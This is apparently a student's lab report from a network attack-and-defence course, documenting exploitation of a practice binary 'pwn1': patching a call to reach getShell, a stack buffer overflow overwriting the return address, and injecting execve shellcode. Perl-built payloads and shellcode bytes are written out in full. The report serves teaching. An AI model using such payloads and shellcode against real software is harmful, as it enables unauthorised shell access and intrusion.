20253919 2025-2026-2 《网络攻防实践》第9周作业
实践内容
实践对象为 Linux 可执行文件 pwn1,目标是通过三种方式运行未正常执行的 getShell 函数及自定义 Shellcode:
- 手工改可执行文件跳转 getShell;
- 利用 Bof 漏洞覆盖返回地址触发 getShell;
- 注入并运行自制 Shellcode。
需掌握汇编指令机器码、反汇编、十六进制编程,实现改指令改流程、构造 Payload 完成 BOF 攻击。
实践过程
将主机名改为本人姓名拼音
分别执行以下命令
- sudo su
- hostname leijiao
- echo "127.0.0.1 localhost leijiao" >> /etc/hosts
- echo "::1 localhost leijiao" >> /etc/hosts
![image]()
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 使用objdump进行反汇编分析:objdump -d 20253919 | more
实现直接跳转,就要把080484af的main函数中call的8048491改成getShell函数0804847d
![image]()
- 用vim进行修改:vim 20253919
为方便查找,输入:%!xxd改为十六进制显示,找到000004b0行,将d7ff改为c3ff,输入:%!xxd -r恢复原格式,输入:wq保存并退出
![image]()
- 重新进行反汇编分析:objdump -d 20253919 | more,发现能够直接调用getshell了
![image]()
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
-
使用objdump进行反汇编分析:objdump -d 20253919 | more
![image]()
-
分析foo函数
| 项目 | 地址(相对于 ebp) | 说明 |
|---|---|---|
| 缓冲区起始地址 | ebp - 0x1c | gets 读取数据的起始位置 |
| 返回地址位置 | ebp + 4 | 函数执行完后要跳转的地址 |
| 两者偏移 | 0x20(32 字节) | 覆盖返回地址需要填充的字节数 |
- 根据以上分析尝试触发getShell函数
- 溢出操作perl -e 'print "66666666666666666666666666666666\x7d\x84\x04\x08\x0a"' > 20253919lj_input
- 注入操作xxd 20253919lj_input
- 验证操作(cat 20253919lj_input; cat) | ./pwn1_20253919
- 拿到root
![image]()
注入一个自己制作的shellcode并运行这段shellcode
- 设置pwn1_20253919程序堆栈可执行
- execstack -s pwn20253919
- execstack -q pwn20253919
![image]()
- 将perl生成的字符串存储到input_20253919文件中:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20253919
![image]()
3.在终端1执行(cat input_20253919;cat) | ./pwn20253919
在终端2执行 ps -ef | grep pwn20253919

在终端3执行进行gdb调试并在ret处设置断点
- gdb pwn20253919
- attach
- disassemble foo
- break *0x080484ae
![image]()
- 终端1按回车后,在终端3输入c继续运行,并输入info r esp,x/16x 0xffffd11c
栈顶指针位置为0xffffcf6c,shellcode的地址为栈顶指针的地址 + 4= 0xffffcf6c + 4 = 0xffffcf70
![image]()
- 退出gdb,执行perl -e 'print "A" x 32;print "\x70\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20253919
![image]()
- 执行(cat input_20253919;cat) | ./pwn20253919,通过whoami验证拿到权限
![image]()
学习中遇到的问题及解决
- 问题1:最后出现报错
┌──(kali㉿leijiao)-[~/Desktop]
└─$ (cat input_20253919;cat) | ./pwn1_20253919
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0���������1�Ph//shh/bin��PS��1Ұ ̀
whaomi
zsh: broken pipe ( cat input_20253919; cat; ) |
zsh: segmentation fault ./pwn1_20253919 - 问题1解决方案:必须事先关闭栈地址随机化
![image]()
实践总结
针对 Linux 可执行文件开展 PWN 实践,通过修改程序指令、利用缓冲区溢出、注入 Shellcode 三种方式成功调用目标函数,熟练掌握了反汇编、机器码分析与漏洞利用相关技能。














浙公网安备 33010602011771号